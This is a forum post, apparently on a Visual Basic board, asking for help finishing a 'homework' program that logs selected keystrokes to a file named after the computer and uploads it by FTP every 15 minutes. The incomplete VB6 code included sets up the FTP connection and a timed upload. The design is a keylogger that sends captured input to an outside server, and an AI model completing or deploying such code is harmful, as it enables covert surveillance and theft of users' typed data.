Hi friends,
I have a question about using inet and senkeys.
Program makes when pressing a,l,p,e,r letters on keyboard,
the program should save this letters on a txt file.and every 15 minutes it should upload this txt files to my ftp.
(note: txt files name is must be computer name for example. cafeplus.txt)
So I need your help my friends If you help me I wanna become very happy.
I try to make something (at down you see)  but code has a lot of missings.
Please help me its my homework.
Thanks

Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long

Private Sub form_load()
Inet1.URL = "http://ftp://adress.com"
Inet1.RemoteHost = "http://ftp://adress.com"
Inet1.Protocol = icFTP
Inet1.Password = "******"
Inet1.UserName = "******"
Inet1.RequestTimeout = 40
Timer1.Enabled = True
End Sub


Private Sub Timer1_Timer()
Inet1.Execute , "SEND C:\Computername.txt Computername.txt" & vbCrLf
End Sub